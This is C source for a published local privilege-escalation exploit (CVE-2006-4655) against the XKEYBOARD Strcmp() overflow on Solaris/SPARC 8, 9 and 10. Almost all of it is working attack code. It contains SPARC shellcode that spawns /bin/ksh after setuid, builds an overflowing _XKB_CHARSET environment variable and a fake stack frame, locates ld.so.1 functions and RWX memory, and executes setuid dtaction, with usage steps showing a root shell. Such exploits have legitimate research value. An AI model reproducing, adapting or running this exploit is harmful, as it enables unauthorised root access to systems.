/*
* $Id: raptor_xkb.c,v 1.1 2006/09/13 16:18:36 raptor Exp $
*
* raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10
* Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Buffer overflow in the Strcmp function in the XKEYBOARD extension in X
* Window System X11R6.4 and earlier, as used in SCO UnixWare 7.1.3 and Sun
* Solaris 8 through 10, allows local users to gain privileges via a long
* _XKB_CHARSET environment variable value (CVE-2006-4655).
*
* "You certainly do some ninja shit man." -- Kevin Finisterre (0dd)
*
* Exploitation on Solaris 8/9 platforms was trivial, while recent Solaris 10
* required additional efforts: for some obscure reason traditional return
* into the stack doesn't work (SIGSEGV due to FLTBOUNDS?!), sprintf() must
* be used instead of strcpy() (some new security measures were apparently
* introduced to prevent exploitation), and the ld.so.1 memory space is a
* bit changed. In order for this exploit to work, the X Window System server
* DISPLAY specified as argument must have the XKEYBOARD extension enabled.
*
* Greets to Adriano Lima <adriano@risesecurity.org> and Filipe Balestra
* <filipe_balestra@hotmail.com>, who discovered this vulnerability, and
* to Ramon de Carvalho Valle <ramon@risesecurity.org>, who exploited it.
*
* Usage:
* $ gcc raptor_xkb.c -o raptor_xkb -ldl -Wall
* [on your xserver: disable the access control]
* $ ./raptor_xkb 192.168.1.1:0
* # id
* uid=0(root) gid=10(staff) egid=3(sys)
* #
*
* Vulnerable platforms:
* Solaris 8 without patch 119067-03 [tested]
* Solaris 9 without patch 112785-56 [tested]
* Solaris 10 without patch 119059-16 [tested]
*/
#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10"
#define INFO2 "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtaction" // default setuid target
//#define VULN "/usr/dt/bin/dtprintinfo"
//#define VULN "/usr/dt/bin/dtsession"
#define BUFSIZE 1024 // size of the evil buffer
#define VARSIZE 2048 // size of the evil env var
#define FFSIZE 64 + 1 // size of the fake frame
#define DUMMY 0xdeadbeef // dummy memory address
/* voodoo macros */
#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;}
char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() is needed by dtprintinfo and dtsession */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
/* globals */
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], var[VARSIZE], ff[FFSIZE];
char platform[256], release[256], display[256];
int i, offset, ff_addr, sc_addr;
int plat_len, prog_len, rel;
char *arg[2] = {"foo", NULL};
int arg_len = 4, arg_pos = 1;
int ret, rwx_mem;
/* get the stack base */
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* read command line */
if (argc != 2) {
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
exit(2);
}
sprintf(display, "DISPLAY=%s", argv[1]);
/* get some system information */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
rel = atoi(release + 2);
/* get the address of strcpy() or sprintf() in ld.so.1 */
ret = (rel < 10 ? search_ldso("strcpy") : search_ldso("sprintf"));
/* get the address of RWX memory segment inside ld.so.1 */
rwx_mem = search_rwx_mem();
/* prepare the evil buffer */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
memcpy(buf, "_XKB_CHARSET=", 13);
/* prepare the evil env var */
memset(var, 'B', sizeof(var));
var[sizeof(var) - 1] = 0x0;
/* prepare the fake frame */
bzero(ff, sizeof(ff));
/*
* saved %l registers
*/
set_val(ff, i = 0, DUMMY); /* %l0 */
set_val(ff, i += 4, DUMMY); /* %l1 */
set_val(ff, i += 4, DUMMY); /* %l2 */
set_val(ff, i += 4, DUMMY); /* %l3 */
set_val(ff, i += 4, DUMMY); /* %l4 */
set_val(ff, i += 4, DUMMY); /* %l5 */
set_val(ff, i += 4, DUMMY); /* %l6 */
set_val(ff, i += 4, DUMMY); /* %l7 */
/*
* saved %i registers
*/
set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to function */
set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to function */
set_val(ff, i += 4, DUMMY); /* %i2 */
set_val(ff, i += 4, DUMMY); /* %i3 */
set_val(ff, i += 4, DUMMY); /* %i4 */
set_val(ff, i += 4, DUMMY); /* %i5 */
set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */
set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */
/* fill the envp, keeping padding */
sc_addr = add_env(ff);
add_env(sc);
add_env(display);
add_env(buf);
add_env(var);
add_env(NULL);
/* calculate the offset to argv[0] (voodoo magic) */
plat_len = strlen(platform) + 1;
prog_len = strlen(VULN) + 1;
offset = arg_len + env_len + plat_len + prog_len;
if (rel > 7)
VOODOO64(offset, arg_pos, env_pos)
else
VOODOO32(offset, plat_len, prog_len)
/* calculate the needed addresses */
ff_addr = sb - offset + arg_len;
sc_addr += ff_addr;
/* set fake frame's %i1 */
set_val(ff, 36, sc_addr); /* 2nd arg to function */
/* fill the evil buffer */
for (i = 13 + 256; i < 13 + 256 + 56; i += 4)
set_val(buf, i, sb - 2048);
/* we don't need to bruteforce */
set_val(buf, 13 + 256 + 56, ff_addr); /* fake frame address */
set_val(buf, 13 + 256 + 60, ret - 4); /* function, after the save */
/* fill the evil env var */
for (i = 0; i < VARSIZE - 8; i += 4)
set_val(var, i, sb - 2048);
/* print some output */
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
fprintf(stderr, "Using function address\t: 0x%p\n\n", (void *)ret);
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(0);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return(env_len);
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return(env_len);
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
check_zero(addr - 8, sym); /* addr - 8 is the ret before function */
return(addr);
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack */
while (read(fd, &map, sizeof(map)))
if (map.pr_mflags == (MA_READ | MA_WRITE | MA_EXEC))
addr = map.pr_vaddr;
close(fd);
/* add 4 to the exact address NULL bytes */
if (!(addr & 0xff))
addr |= 0x04;
if (!(addr & 0xff00))
addr |= 0x0400;
return(addr);
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}
// milw0rm.com [2006-09-13]
